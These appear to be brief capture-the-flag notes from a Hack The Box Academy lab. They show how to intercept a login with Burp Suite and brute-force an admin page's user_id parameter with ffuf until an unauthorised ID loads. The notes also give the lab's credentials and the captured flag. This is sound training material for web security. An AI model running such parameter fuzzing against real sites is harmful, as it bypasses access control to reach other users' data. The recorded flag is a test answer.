PARAMETER MODIFICATION

#
root@oco:~$ seq 1 999 > userID.txt

#intercept requests and identify pertinent info
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
 username field: htb-stdnt
 password field: AcademyStudent!
 * submit expected input
 
 Request
  ...
  GET /admin.php?user_id=183 HTTP/1.1
  Host: 94.237.61.84:59319
  Cookie: PHPSESSID=7l8q454p2j4mc0ul2jonm6ecn3
  Connection: close
  
  * key msg: Could not load admin data. Please check your privileges. 

root@oco:~$ ffuf -w ./userID.txt -u http://94.237.61.84:59319//admin.php?user_id=FUZZ -fr "Could not load admin data. Please check your privileges."
 372 [Status: 200, Size: 14465, Words: 4165, Lines: 429, Duration: 78ms]

  * HTB{63593317426484ea6d270c2159335780}